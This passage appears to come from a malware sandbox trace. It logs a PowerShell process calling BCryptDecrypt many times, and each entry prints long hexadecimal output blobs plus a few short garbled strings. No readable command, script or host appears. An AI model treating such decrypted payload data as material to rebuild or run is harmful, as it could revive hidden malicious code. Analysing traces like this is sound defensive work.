72870687abe94740b9db1b696e10da8355b690cbe5cbca4eb6f6cb1484215ba912149292312d500407d36b6fb4ca452df5098b2a5973b652a270e55a2e6956816aa936b3947468b8cb14398d11d24cb2996dc1a09bb0631b52fd94681536b388654a72be773ea9285965ae1d3462055bb4cd52f66d9e08d16d819e0c74a73dcedf3387cfd3cfcb681b348b9d4258142d0094d927a6eb135ce4ca28695aacec07318ea9d39eb99c95e288d4802a219e59a62ad579333baa8cd702e5ead2e3198b2f9b66dcfcec7a1b79146a9bcf2c58340d9892042d6f0270ca9417336c434988d40e8b34512a2934ea8a696304d81071e7b74cb2e5b1a2d160ed63b5ac7070d7380141351b4b1d5011aec9d746b80c7475169597472b4e4c551a85b96a7969ae2f15e782f3c37955e595553974e8e74a564d71f4e7bd335a6b1c432a76d67cfcba2a913919ab41d4c05013405500b0da14dd50e739a2f654506dbcf8d8f50b2dc8a74380c680629913606348e0a058465220a05320e0a04081a2a113704fa8054b4e82c6c70b554c883a4299b5bf9fd06aa7abd8cb9bcb34c6f1bc1402e601b089937d0a829d3138d3d1c5cecb609a8e4cb1245550090b73616990eda5b927233455221d1a8cca953726ce9513bb4cb2e5d0e18d42669695b56321da09696aad8d46f8e9e82d0a6cab3c12caa5299cb6ad1caa89deb57ce9a01ed3dcd2724ce9835a9b04babd1c9cbe6eb6b6c73a1ce7"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "0da504a9a3100c4080da5aa826d4c1a93a0b0b0ebe5d9aea4f3d111d1e976e4f3fcfdd1566bc20677915aa960049e954f2b3129bc00408b1b5b521b79c8d16e544b2a2d3b542024d0dda4678a6dc8c5b9a738467bbe95bcb346dae9dc6b95e22024b6a466dad84d3464ac80d5f423a74cdd8b4d2c32d0e1ca9ad5e7b01229ee6e953e6b6962834f40100dad953961c70f686345b8d4cd69b857534dd2796290a89b6b345e4acf482a68c429a8743b0a411343d0e0e9a55411244142cf0dcd10a9214b4d1ab4cb165d1a6e7a7ae02d90dba466cab6f4663036e73e6f8dcda7330df4e87537c791cdaacad7a048e3676eb8ccb4dad00ef4c7769cb871eb9a63891493a96e2d19ea8167b8ceaaea4669b494f5dbb73e5839996f28b6d91a889153a15479f4f7e3e565d0bdb97263bf636e7cf998f1e97bcc89d8ef51aa4bc2f1c75ceb711e5989d1797b9eae1f0dc7dcedb1e6c6899b4d0f53baf0dc61a9c7373d57350040060dd2b5b7456b7052c552d5c6410831cd89942229e211389d26752ee8cf3aaa9a4aa7342b55ed0f51717c37c9cabe762bcee0d5335c131b187513cb0f767aa2a29b5ebcf6e5b51c6cf61696de8bcf3052bd9974e5bcef4c56df39664d3aa5116dd33d759e1cf6b0500853235a2b352a754e58d68280dcd002b2113409d366e48495a41408382804d3dc665a40a49b534029d0e82808543d779e79a04df51a1c639d6002743b6a22d941406d026404e7af8fa171a365f5e9f3634045566159a1335642c9598d666adb1a6b5a838e7d730b506026042ba1a619e2b34d9329105d1d33c31a808507520363553a473d1d39f046ba87b59cecf76951e79d23bcd116406023d4aded659a62b7ad762d1f221530a34f392e2b4698af2df639cd3aadc2d1a192746a1a9bd3d537aec7344d290b0c70fa7ae4b8ab8a325acd5b63933dd736236b0e95052762349972a9b7de3537866d8e3a1702aa258e2a809ad352314b05cb712fa4846ba920ba085ab4cf4bcf263ab59b7a73372ca4303f6cb3e71e6bcdec42ab13e926a7246c2690be78ada7537aa266748aa34544a8cf37a7a793d1f579d9f9bab89c9e965aac82508aa14b4d34c26fa1d5c7cacef165a9ad718109853dc09ac7888cd97bf171f1dbd56fcb831db9f96cc59c54e6f550b5a811cbd3980ccc84b9635bba39f438f3fcdbedd33c29e746a235cc69ac55354c4a62c80ed231ad63689d0d0635cd31aa1014f700319aa68ea49288207925269bcb46f9f419e6b97acf498242a01eccfabd41d9c039ef7e2e3e5ae6bc8a688b82dd1ae996098b42e344ed976e67698628d131ad316e594b20dd3a39567a80a84d42096d4aa6ada14e008eea69a5a29918f7998b2ceb0282d90543a1ebbcb2c6ada842adf79618d60c420e04088268409a215b510238d02ab100e058415831ca556"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "6db8c33a01540ab6004dfa1eae4e761d18b2db32bd6b301ac62336a95034c72cacf4285c5d14691b4fd33dd71cbc3a0b49042879a6e957abaeccf9df06b944074e744de855af5e71e7ec721416e52e5cb4270298abc979b42958de585be9d465cf629a1a78b5e63bc5316b1d05040a006e9a1685964c4d8d4004e996211c0369ce69358d4aa32c28280c04287020a05b2c541b2f2c71a8840b150e07574e7e646ddcd797979ee828150a18e40aa0b0639d979678d332bb08102c3763dcf72ccf5de269af3a4cd5938a7cdd38e9e99f2b2de6990cdb13ca4b154ac81a74e99ab295009d4b3a8a635033743318126ca292f3272b5502209aa4da5689d9806e32a239899d2e85e5cdcb7368e36d63d0b5ea47574cd69e67a71f1634223346da432852701f363af3e29a7146a9759ad063015cd3d56e5a6a2f224c1e80521f2308685d5809aab3b4fd3172b19d1cd982c64e5af24ceba2f3736d79a32bcf20cba49fa467cf51060a80071a628d57099a16dad2e6f7547476c159568d2366d3d3e9e76dcc95ab4c9b399081d215ae2e467c4e3dbce73742b5a5e3a677606892eea74e98e7cb7e9be724724d874ce91649aac81a74c31ad08bd2e375e3c45d669ae685d67215a73be973f3ebd64dcdefbc571d0e1806678f30cb4de0f559a3560963a7234b51a74ab1c55cfc7795a163a46871aa18563a35cee67444324c7694344da29a86696835d5561a61cd2ba5ae1830dd33a2d57b7be2c89f978eb530da11d0a33a1d1cbf4aebe0f9af07767cb7218234d6611561e93b393215c2e7e84dcaa2f5cf4745edcc32d6b5c8a50f182eb6dcc3cfdd1c266e220c9809c1be6f36bcf990234d48b9e8eb8f4b3e8e5e5b61bc5379c692e549db28013aa51b01b2f2140068acf3ce8c129546a26238d5850f6b8cc9a9d3aa15362389d85b56d50ac2c40a9b50a9bb720aa0534c7209db05380f7092e92b06d4aa6a836e99648d0466e62749d05b084b1f4f0ee7540a0e36d59f4a6b2cef26b35b9e9edcbc3c3b62beb5e7cd9a5029c521ae5736659085a592650d664f2d6088d909501d211beb30a59e2a0a862862a617a5d0c5985380241cdaab1d83d52d53e75ea1a75d6db27619a612abcb98a544280070795cba6b40b25e289d4c4d292f35b4d9743b1ea57ba758aa9cf44062c8744bc8d4ec29a25020c2c6656eb96844286b0d5a640acdac79d908d49352649444d2a9943812344b58189f45a1fae39b1d8c7aee3a1ae7d4df98669953763033e77aab2d9d18eabc555779ae57375843e9f472f0796fa1dbc58b94f2de6fabcc7d85a236b3ab7d414270f13d1af3ca9c72c0cee4442e1b476fa38f9c9f370e8aadb52bceb6cae12f12a4b8dad4c29c512a31bab33acb979d4799b4490aa8e9352a66a2de663af26ad793cfe5b50b6541661e777a636a5ce3d2bcbd9c"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "jV"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "C hQp,"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "-"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "41b40353cf3b5acd1eab1b8491734e2a818ca1b10e9a582851aa6ad3c55965bcc9329d2546a702b4581b432e9829b93d0af5dcaa2c4aa686f325442ef6fc7e6b97b98975f5c39d3a6557b69674dd17d583114872d24c46816cad2675d171aa76df45a9096a004b3436874ee699daeae11cf5cf974d37ce862800b4fd0f5618f1b925e91d0d632739c3c2d6d21b4159dca42db8e595050fa9ae1c1c7aba9bf2f3b2e81431ad04b290674e217376e365472d5686ae5bd2614c4f6156dca338ca901a7537c911be7c96304979059d9a1dea1eb1a5ae19966aca85baf3446afacd971ef3d0f1fc071f5a70e8846827454d495b6286ef9f7e7692d71536a9d569ad92e4833c6e3a6370fae1da8eaf67d0742f3e5f36f7489a252fa3067be797a3587dcf91c2bcf57173625179cd3350c02904d19229b106104b6039e96987367548eda055623a8165c3f43bf3f273d32e7ad0463aa173563b90ea7a5ae3cdc7a5f1b54df496ca793a973d573f4c81aa40b4d57a74cf2b8ce9a9544b6ce56ce7dd4a4e6a36a424aa080da9055102119050205041c158e82c35567926e81952b4e0503ea206bbcb9b97440811ab01080697676c2a4e467d023827d402a5a7438142b1b1cbb3eb271dabe7e3e1dd4e5979aa34a4da9db4a43064a9a311b2b34a7487699266c95c03acd5376a9aab5469dcdb9b878f431696d1aab7113835089872f48ca6e297d4aa6edb11514f551ac6666de969f1a12ba4c8772580120daf4c71b9489448309534423b0b0539aaca2a35a689be9322d71a983ad315a1053d5411ab622dca454df637e3c18f54caf5aa015e99e8729cf4a015a35dbdbd8eb733a9a623358f3bcf210a823449eed33a9a370a9d330f972b426b67535970da6660359f139aad4db54ab2949a7031926d00eaa2938982ab72b6b53ce4574aa511a5c86e16310e838c55315324d01a6a73c68d74c4ba5ac64cb7d1a400eaaf75b273c5e7be6aa4b6863b4cfb7a69973bc50922512873a75cb14510dce7b3d7e67139ebb9d1cbc9e7e802ba5596336539cd5158e99ae7afae1cfc7519d406b6c1694ad69ae96f5a7bcd34f41b65bab3752e773ec77354bb9b70f3f3e8e07276ead79f9f975672f10b8e61e6a7955a609a16d04b3a85839cd4b6ca24c9a43401a6f2d9a63c98dd5351a6d4a66b4de488b20b05174162d5798433a411768dbae7872db6c74a08d85be344699a4608cb467a853822ec1579ad28142b0aa424ead32a57955d000edaa089d8e8284ca80182ab081020a03294436a3346b4d5058a040373e937e114fcd61dc4c0446581081336b456762c91b40754ad3a1884068969d0533d6338b9740a62aa902e5b5239ebb6f3b6f265adb084638ab5d452592746d48920da41b5126a2a10d0a8a6c0568361cd336c3d06dc9e7393d062d1cac0974dbd51a01c2837"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "a16dd37cebcb1de56e413ab81724d388c73a954ac0408234ea8cb3ac658ac293ef6fcfc7cf4cd17d3d70e5e7d1604201d850586abc969a1593911c168bcd79d8a71a3a4a54e7289b26a85d0bc70e7b0b642ee6bcbc0c7ac9a05442807481388ebefcf25f1f2dfa73b2137e9967cb7a4e856860c8a62ae9e9cdcb8ddb1a9940e234c4c66aef24c8ba6cbc50af5b56008b9a09b6b6294027261d1d33c38751d449b6a35ced49b5355e526daac044e41379713825de429e88d0d5ea400f3934c626da9ea74f1f3797d1a62459880a95920d6779834c2a22d531d3150d4214bca6cb7ebcd8a37d0b450cd2484a4b20dc6b6333d9cad8a5c8cd488453ae93634cdd532c6647b2eef378dc9ddc7c2d642d2d855d1b2e743d2c304aca97385a95d29dad74ed26696e313cf9592d268a219a49c6992a50e1e055133dd55096ae2db72722062e3a3ae3979fa7625b51a6a4234534b6a39b97a2a8c1a9b4a7549a4026553936d4618bd368168997ab598a7143c92f08f2dbd0de59a5a5aa92a6b4553b5c3873599c51891868ac0b3d58da1840ca85232adadaf47d3c1c3e6ebbcf7594f6f550ecfa7abaae991717d3db2ee75f365cb4768b2ce8b1c8011872db938de1515af3ebd373aa2cef9aa3ca1cbcaae53bcf3aaa7222eee93c7cab4287a0ee3346944154c72a8d7b9875f36e316bceba9ea6fcca978b3d4074c29b612ca919a645922ee45ca5d3f3dfb7d3c7e90dbccf07a786a315e59af362d3156561552bacc00138d32a50ac5909b0e86bcf9a34ceac4743b69f5088be96b8e64227401da287488c828380face93527ea7af8f8b96bcfcb6f6ddbe7e04b89c5d98ded6d410aa826b9df79525cc8e8a0b6585040a0dd59638d6da36813d15023cd17ab3e800d1a62a9b19ab2a9049d812aba9b0d73b1c6aa700e1f59c559d3370c62dce59d1e532a3738e767a5aab6a136aac0c6c54698d662ab4a7b42a36ea52e6cb509688a8cab1e81ecbcb2cde61742f3cb9ec6a8d02934aa0b4d94249b5a750b5b9e4101af3679d2c4873a75e7c59ea236ab60e829ab06356a765e4a34cb974b150b4b2469193baf9d39edd464c7a853a0dda61d7d79b89cde8ed3658d6da4911519ed2ba5473f3cd758658ada36966f5d3425e5daeae3f33c7dd9c0950a4e73a53a6721f3652418656c9b6b962bc150049de771a3c77bf362cf55c68c69e0a050a956a6b6469a665883739da5898264e8d2f56990c6af6de5edb94b4a835d2e9ed021cfc76cd2f7de19d5ad69926542cd15caa14cb2983736609758b5c32a36565cd8963ca88621cd2004a01d17259d438828d895037d65b34b3a7dcd11c8bc95a8f67ea71e0c76d9bc659d32e7a73b0d7998e8b521ac6de9e1f23cbd345e8d70e7cd00f90f9b35654f36dc2c6854c54d51d1ac579e8ca9d7ae1cfc74eb547215ccb7f7f9f"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "dcfcf8d582b4d236d216bd3f579fc3e2f4f467be8d70d66250b8d3ab293d3d59e86dd0f5e8b2c686ab6d36dcd4b70b2cba8356886a71e74fa64c549951943339491b2b44818d0ab0d2c7a639eb2253ba59aa5efc9bf5e7c9cfd18a76b0708675885de6d7231a1b528ee65d568a8d7b0c524fd30e8075fa219a99a35cb17c8c74a473a6b94b27698f26b1c405ac22a44944d05483ce12038d00ac34a974852cdad5791caa4c748a4d7974a2f348a34211cd32955a181aae74a651a616ba19f6674f41a244fd79b9c8aa8446fe8f3eac4963d797034b625e61731cca95a6a556d50a30522642687b74cb0e7b037a6a089cd3adb958e0a8760e70ea8cb3ab5ca26e864e40204026847a1c6cd315c5e48d09a4cdd036a549d0e0a040b0b0a0a081196141114c68963d15131eb1141c0b0608110769d8cda09718f07cdb5c76ab2e2c6eb9d3654e14c10c28caa1080922e60ac914cd9aee119eed9b254d540e6c4f9bd82cc25110344e9a16ac4d0e01b6a33d66bbcca756cd680b9b84014c43b4c9b1a84de6246f350f33cc5bb6f5159d382d3b6359ed9886546757b419718f3d02694deebcb3e7d2da859229e872fb8567a94e862207cd94b8a9d55a06b54a04b98db8350f6cce3598b85c96c602d5b95b025ce64249493d0a8e9ad78e473af155e288d1ee4e37daada9db9e7d64dbc9223cf6b4e564a6b5699e6cf552b8e5d79767a39797c7e96f8df46d86ebc393cdb660a69d17d3a95cd5b7aea8a34a45808dc32131b489f788cea995aac06c5089302accf34117451a1206a72979f4cb3912b2d2e1f9766ddf879eaa6540546390b5a510359d12c9baa573b74b2eaa6b5cd6a467724977ae7b3be7a375c8c3a31e5614b3c5f214719e79ef3cb58ad99b4cfb3bf1a33d39b1b2dc0b911532036f208bd2e0f36734da96ccc048e9cd93150dca8762a0d1a662a931760e1153f75d9c1e4b93b7a5a0fe5f6e6bc8b27830f5b8c13795cb4ad59f46471b75c3991a62bc42b358c454c16524549d7928a54d40b496dd0ed8c268700530641468d80a8dc02ab141f537e7c995a4a4aab11b4b4db52c685bf49dbe71724f1f1ece79d2b554d5b54811b1a372a5549c113511062ca0b0804d3ea36bcf0f377d0e04021db9ee6dc9c1c3b2d3b02608539d7b65e9f5e0e771f56a7d1c4c7ae8254a10da970ed5d01279d2a6a900e49a24cd539592a3a818d4498d3a74d4e728d6274dec9a70c908acd2490334cb04d6ba4ccba285a659cd580838368f282c6a24831de625536b7342a6c8a898b94089a6b6c9d0525b02a2e6d9377ae2996e9a68de258301ee426c9329d18379a3a90359b3bb64accd56949e9011b36e5e5e76a8db5142ab68eee31456573ada0408983e7b9c1785d66fa909a39df73265aed73cdacb4b8ce209a6279aa1635b254306b4c911bd93aba35326"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "29923a1a65833dc456374d6fd3339119ef9eb353ce08818c29d36eb8e6cba3420e34b1365db96098a73b10cdd5382742345340f3534e5a030535b42e633497a6754d672b3caf34e7a98c5a626c489a64d6cbcc1308d63561274d4d8ce8002d9898d026f4392d0a50f23d39f2469236d0696e413012c4a68da695bf4e7e2a15368ace844541d0f527a556cacb345da3402d096b9d7921ab05b4cacd8d5c6da27462b054359a4227adc253d09ed57b15ea4d94b2cda85444a828db4de7236d94aef9f065b6b743439e68911267bc7243ba59debbe9035873d1ced34642137890a955a7a9ace95bca9cbd9bd67752dacb9196c95a31d146fd618d6469ccb7613aeb218ad46cfabe7bace0a2794e4468acf25e23a634e73a6e06a789e69a9539b6889782d3d352ace9e4326a9a7a86d4664caa113560552a1bae334e943b1349831540aa271bec9d7a675cd2b9d58f42d736456dcee79b32d073eb74f408f35f360db9c5ca005380350233bcd53477148d951ce8da3293206de62854d9391188e82c29848164080fa844d5d2eb6b8a93e5e5b36a549c0739edefc8957c8e7eb1677f6e5f3d8f4d27009a1450cda0468720dc05a70282c2d14cd351962f64740a1d4931a6ad70c99eb4e4408702dc8a6c69a974fa3979d8742a3739d0405c90cc6498050427ab52b6b2cb05423a118df3a35540226c2d539ca952dcb5cde7d14935962a468db9b0cddce86b4b9a63227d012e6eab2a9aad32edebcbc3e7eb7b484c93d05685a62a9412ba9b1996c8d1359895651841d0b56fc9b1e7c3cf52297356830703669f7990b246da2a513a52ad43a9b5b9b6514c4f60ea648893275902569b169547436cb9d96e559648b4d412be852a53ca210c0a9111223ab55d7a9545ad3a51a55695687199e79b5cb3a2868726c1418e1a3552da39a68d8aa19adcf4ef3dd8f42a6f595a53cadb36c32c392dcaad68f57a68c2a74874b49c92e12112b605e79212d5f57a70e663d8a9aa29fa383e598a9ca6b1a1e89ad4a56c958e527bb7259be4a1553137c6cb75269c55a1b4822b68dd2d6f26ba05ae6748a09acc4debcf9a3643955669a85567d3db9dd17c9798233b2224bba9096e0a131cba4b1352bacc65834b1d86ed31cd342ea359559082698d2d550c9adf1d5ed36d2f4e2f1fcfd3ca52c2aca76dc9ee3bfc6efe15f38f3fdcc4bae8a88e5efc79ea1682685cad3a615c887577e7d82e4e7a618d8dc44f4566c173a36369d50a5499aa658e8204158134a2a04168d201089b2108c9ab020a4f469904d082e6807020a0e069bcf6bcf939f4534404d027aeb3c93a444639ca156ecba4151d4253a6a809aa45839cdb4a44551550e844a8ca24c93a69b4b6b8c31a94dc0bacc2698d12286d6291169a93a058f7e98e5cf404cda50503d55cb3a8eff471f079fa84434acabcb7"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "2c9949952a9707bb6c39d8ef61056ca06b942b82b0a081438141404d08e809c9b44d266dd719e2d8e45326027b34c71e7b4081410205850108428702c2daa0206b94aaa0b65235e3d6026de684e82058530928c14c9cd0e93b083b45aa746ada14936f24c6af2f446a44e3acd816998742a72cde773a1cc8d5ad65545598054b654b46b8baa993544b4b7b9ddae19e5e5cb76dcab2df53a488d55cb6b4b7169d39cf59da7a955a7aa36112db55679da30d86baaa7345671adab4429ae5af354d34429eed33d51a641edd797839f4ca5995522820513a6a695d098acd3dcafa2ad912b59d2441a093570645154f3e5656509a3d14313cc2c559e2b8d171cb834d4bc35d4e7cba6e4959dcd6d57a66da3c2f2e75e296f254c72d6213968a68840ae26559dc682d3ef2d396fa9e471bd48fb929dc53c5704ab54dee681a7e5d244b487b1d4b346342a6d8c953822aae019cb5a52d0c79ab2cb52ed321916b5d8f2d49f425aa6915ceb17575e7e6e1d6bacc1559a92713454efa808dac4434cb079a186b41645614b7edcf932e85b12355e192f05a762d9b73f2a351734e28222c201030862515394b488a5d5050c1b1a549b1ce556552b54238009896ca95aa11f65d7672eee15e39de38005a606a236e5d7bb3ea48ea752160eaf3b8ae02a69c00030aa608268ef34cdc094a209cc62a6eea6d9dfdb93838f53aa3346829c6584150e0bbbb73f2b3d73ce94cb1501b40875480d7356141018d0266d5896aac54380222658083aa69310739cd36e72ca59a2f567d1421a80550290da95cdbef3cf1a40b6a85020e01a04a6cd9840272336f5ae98d41c6779d03182868c49ba854d3466352ab0a158183405317313a19aa273d1bc94ab1e7b583d5b95d5064ba6d0e524e9a580882606c93af97428d051a76c33de7cccf66ab638ef6d879cc3af380b56821d8a84f6991a684f4ab62ac5a659dacee46b34aaa0a4c9a3a8b546012315303a8cd19edb6b1cf14e9b7b9eb6dcf839fb1cd2e74d5a46253cb934d4af3b43596b3265ebcdcb9d09561bccc3a1798aabcb51141689bd2ab42b366573cebc72b85d4054036854c45aa3a4f9d0a6c5ca842e5ae24d6ebc999eb717635b36bbceac5a28d749408e94dda5d1bc72c6adacdc4b5a5cd50b39385e79ca12f3d2a2ae744d4aa8a684820d0f0229d2765c6778eaa38f8b12ea83bcb04efa6a4f3b55452d1d3ab0748c759d5e20ab51733d92c4de700e741548b846986ee8e3e7c68dbcfd06bcde3397b55516e04082d3b48c503a3a60acb65a564b883526d418013919a162862c89db4b2c15ca4b6015d39dbb59f6731e3cebc328a33abbf265cb7df9f4dce8e9d2f3df1de68ac91af3cbc79ea96d0d2372b920534206c8d2d36d4295d032a440da4cdd0a0e0ad94881b34c513749ac62a8ea68608d7a6688a04e876"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "3bad59ab24f0de557882a6876b5c78f8f4c5a534e549615e6ba805a503b7e2c08565be6d30bbc2d28998e91aaf2754272d6b3d56e69c6821aa34690b8a4cd4644005362c82a188d4ad9ace69d00aeb67d6b79b73e8e26dc74e589e8acdeaa67d4337d0cf77ceb874c7daefae78d3ce572f0f4f3b234a4e38b68138d32a571a00a5211d036a569d3742a1c1084021461a5dddb9909f1f3e8d579e3cf6a658a818e54aac282c2c423e9de1ce9d8138d180a20edab60c84d08ec042c345c678b2000b1eaacc70e994a82040a083b275699a22c02842aa81f50a9ba1e9bcf513832e9b4edcba74e8c7467acf2bce914d3ea151a10db52b904282c1f712358acc71388b18b81072a58a9aa4cd8d6807a34cb365bb553a35e954e48d944a2f1592447a198f5915e19eae35c650b973526f4330896e16140c1906bacf7d47331ebd651cd38600a122f2a1d56699a5b980636096aa0510f2583d115d6b8446ed4f6545ad4a6f3c2d4d922c1c558c25539cb5972ab1ca8d65b5699af2c6f2c970e9d01c0b8df3b5c89a968834c833d8932acb3096d32e28481e79b79a0aa1611620f26a6d958945dd408a244db73e8d8b5eecedbb4145e6cd72949aae8ba0486a5ab35068bc84ced0d9ad5b72f379f6ca2237b346dd61a497084f38975142f42ebd9f42f45d3cf9b29e7abd01c8e7d397085c753b783c670f5e69d235ab6e6c59742153a819d14668a9d35099ae8699f3f2e8256ea569267455c0aa7954ad159e4ac63855e5b36e54c9a04e558a4d770a4aa5865d3559ac9321f59900459089ca95415b457088d69b5940553123a6398c9d74e7d5cbd78c45ad889bed6b8e3e6ef74e9da8eadaef45aefd69cb8ae75478dd3cbe6573d543af2cd36216e74b8a8d50e54dd31953ea3a39f8b969c8cb7a1d350284da9196ed23e91dbe77ceb87bf34ea29db29a6b944dc15b549c080da954d4036969c64135a654e68bb0a036a93a0814103a7a61cdcf7a080404d331e875e79e6c9cb18116cb8426c72b9ae96fcd832d94ac85d5d30e646e29d852a302976d6f6b3e7d16207348b6a914102c56163a0652a4e951b71334dcaa4ba01130a5395b9814d3c60389da6e2ad5ba7478f2df3e626c56a7a933ebe0f24f5e83d38aad751a19d0bcf063d591e64c21bd832e31ae189dc6ee5705a9ac48ddae1cf55b35e6e663d34142302193814972c5c340d3d01a16a4988b426669bcaa94b4cd8eb992067a6ca4b52be8e1e7cac93b670d056f6711e192a344eaf6961440aa83373bb4cb97160272a316770ba965e38274b34ebcf473dc25a19bb6b44d1a7b75e7565d04a9558f5fa3838fcfe8699bd75a75237d4edaab0e6f18ba287e8940b33b8a51221aef14a964b6381995b854ef66994d39da660e52c509416d6a97e9adfb5ec9d313d2df9b165af98e0ecdbbe5e3f0c81aaa"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "%EX"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "9a15527606319d3a9bf1f273e889d0a05b40101ef3a6d33702035c505262143b0b1532c40331102876100856c04ec2818d2d3d11ac0b05a6ea8d3a42229737e877e3e061d60310754675510d72b9d082223284c0d8af08ada739a4c26a86c13958a6549282089db35de38b3d6da00ddae098d4b3df446d9b4c5faf3ecbc7991b2a357d6689d1e14ad9a67d5bcfebde8783dec2fe41cddfe4a3d04cb1004daa9ee732b24cd3695a43a178f372df4d482b546da53582c9115aa3198205a35c3167a8136c356c0609d78a33d892606972843a7472a0682a7500e7a90dcac8a3219792d68bac796a6c7b629e92f4c16aba99757075e616bb31beb5a725f362bc6dcb35c519ec907691993d04e79b179e8540d242dcb26d4c8385778cd797a04b4625aeb2cf179ef1d0ec25a5d522dc02b26caa73cde89db64de94d4d592c0d28cf13550735a35c92a332a6318f2259be2bbbd4bd074f2fcf78baf8235efcfcf9d1334db8a9b614e8d3b9a3f69d37cdc35e7c2f391ca226ab16aef3e73c656294caa51366324de5903d4ca9cab52bc847925bae4e747e7b2dc2986cd04c3464e8ed79b5b8c78f4be2b428d4aee67d9f4f9bed3bb0f3fc4fc072fa7c3d5f274c1370b208569921eab3396e996fdb2e4f3f4ecbcf9f1b00a0d649201206b4567996da9747667b2f2dba53bf451d62b46b97270d70565c5be7e3d66668f76da8e469caadb830abe8e9873a35acf79a634176aa977b6e7f37cbd8038d7474e6e767bc108dce0ea74332e1d47498e734d8398d32b354b3a91004e80c4216ced69cdc4cbaa05b429c0a15b0da04e05831cad3d551d1ac7859f540b0a0b0767b50e0a0b769966cf600b6ba57972b3d9f50956c7202a0898aab644cdcd264a993415055023899b41144a8c28668015012a3a9eaebcfc7cba4594d443c073d5aad3507790134ac0742a63194aadceb73effbfc7d21f3bf3fd9c13a5276e441d34d7315ba3462d0034e99746a79d16a9aeae99e6cba9734b7908846449ad0c0405c2d820c062b7de612512b9a726f56e06b818d8c661a348ece9cfc4e7eb5cd34a8810d0d412fa3838d968f5ab12179c062aea46fc5d39ddae3ab2ebe94eb8e60ab3e799e5bcadb669962052ad3506095297253a58ad3b2fa04e36ed592ae94756b9ded46326d4f4edf5af4e4c2e70b1acc69666a5482b717a274d91a6b5560f1e979a96579adba477fa39b065d1825f3605d8fbc119bd89fa4ec79f37e7b37c49cf2699e6b4fb8c93695a74f5c7363d5b957a6ae9d61cc78f11f264cf7d2a8091656bc78440969d310548cf7d77901431a9262366d8639bec4ebc878a53701e7ab95d34352b54c60357793aa119e9ad2667a362b407a131f57b61e5b9b5f25af46b8b44d7336e74de02d32b304dcaac115930a4084291637dc250eacf34da4ad579216833a6b2b"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "b4e946af55bae3a36f16075f6e3f63dbc4c6bab5cb13ccf5e161d9cacefca71f4011a92f47d33c6c9f073856b965a99be7ecbb7ccf9f79fea4a139f43675d2b4def4d0a8ab3e03e754de9a3bdd1c7c5e6e9ce4e0bc0eb35b960ad895499bd93ad5e26ab13a368a6d6f35a348689a936e2dae7227752edb9f18e29cd3a3a462adeaba39edd568f2df97718f6e6f6d8c4f23d4f17db787bfccc292ab36d66fa959098b1734d8a29cda2ea447d2df97067ba26ec20e4db15daaeac75f7f2ece91a2868948a38ef2bacf94f34e991548d66fe8e4e711cf8d042d54b804ed86e298a9b81a2f2cf3742a4dd508550226e9d9f3b40b1ade63598565d3d79b9196e2d504081bef289619da809a14cda043aa52aa8203ea5335114c89bee1134402110ea9d396fd3d79f8f9f4293a6687009814448aa6d425541c4c9c88ec4d6a9304537a348f43d1c1cee5e8e667d5632174b5cb9796d1cc1b5aacf5143042ca962c8cdda658f3d68706b7040698a7410a8e63911ecd714c68a8d18d45510151402324d89bdad6d1a7d0d72561d19276a9b6b1622169a9997447094e38069483a4334c60085cc1b5593809a7d4244d7151adcd6b602095ea1e8bc71c5b56ba16ba8796614e299014f23acf34d93653a05f3a146c9dac3bba65e6274a73a274e8e7b3553d532a710b9d78a34c73925af3aa5bea530c4a2089531cb4a072bd8afa7ae3cdc3a928639d22caa9602306b2d40b9175dadb0c38f50c6cf55dad33563d7d8a9d63b4bbbd3e77abdf8f5bccda800eb87cfdb973d7cb63bf231ade2f45d398eb3e3f85f39e79ea1bd387aeeee0f0bc1e9ae3729d093d1a648cfa350c1ac82b0d2d74ae3065a039c97cdce702109014a1b2f5335d73f296aa7a0aa64d2f5c18e431ddd2dee742d0a35a682e4af2c7360e013828e1e1d6cba3a53bb2186fcf9b33b9d5c9e67cff005b99d5c7cdac01a36b45449a89db8784738d302605d4457ebfb38fcbf276e98e87e98a08c534a1c9becc7574b1ed7ad35d0e5a67660249ace2bdf939b0f26fc43b7372e5e44532c72b31566e74d6492d13a508dc820ea465d31950a9a31dc6c6aed3a682b376b8f6f4e7f338740b2c541614062a64014e0581b40102c2008746f11660cf6b01088b65040b06b92c77a65b423a198a83d06dcbe7f1ea80ebcd33748833604d13936ada5cd9a36ed8fdabbbc5f98f276f9de5f481dd254d032938069b22c5c46cd0c048c00d52ee293b731388d1719a6ed3833acd4540b192702c0938985c50344137a296eb83cefa3797afebe4f07e7fa6a8d826f5691e9ba78fcaf17a1ad68f9a3d31c93a2524d66b0b073172d6e45a7698ab3d1ab46aabacd295012664dcdeaa4c8db4008169ce59f5b6746139d421a4bcc2a290c2a34ea9665d1cfd3940469daada6991cac8e95c8e1d3d3348b4a7295277965a"} "powershell.exe" called "BCryptDecrypt" with parameters {"$dataout": "1ae5537d0bc459873d88184eedb0545e68d49cf45e5c98e88c11b44e556852742d216521075248cec019b9dd59608d89c28aa1e9acfad78f131eba1c544d30064b56fb84260069c0d1a67ea76e7f2bc9dad68a69a5eda3265b34197133d7d074e1ddacbc9f0fa39284b865e39f3d2e914d2dc8566a72b49e5e89d2c2382acb2451a64c34f62a9376cb168b864ea6ad52d4e115964205cda6253c46ab595ceae7ecebcdcecb7646f637eb9eca8e465a0aaf435a065d1afa782563c2e6eaa700d5cb70d2e723901189d53dbe8e6e2f3f53637d99eb6550b95af28de295a3859a69979c0cf36604a9aef6e938f3e8a57a15755ad11b94e9aab0cf8af57af0fb8f438455efd3111e39df2bd8337932d3ccf2f676ba71654f2f9af919be64463bc50c2b59e758680ea3760a5434983a14546d38911251a5acaa33d600dd93b13cf796179f70e832bce560c05274350390d9344e943b0632af29a6586363a8cf14c4d89927ad6cd55af3d9350e79ad50005e5ce70bacd623acd4a9e9db455939ca53445934b142bd34fa2a8134b03c758e2b7b1eb5266a8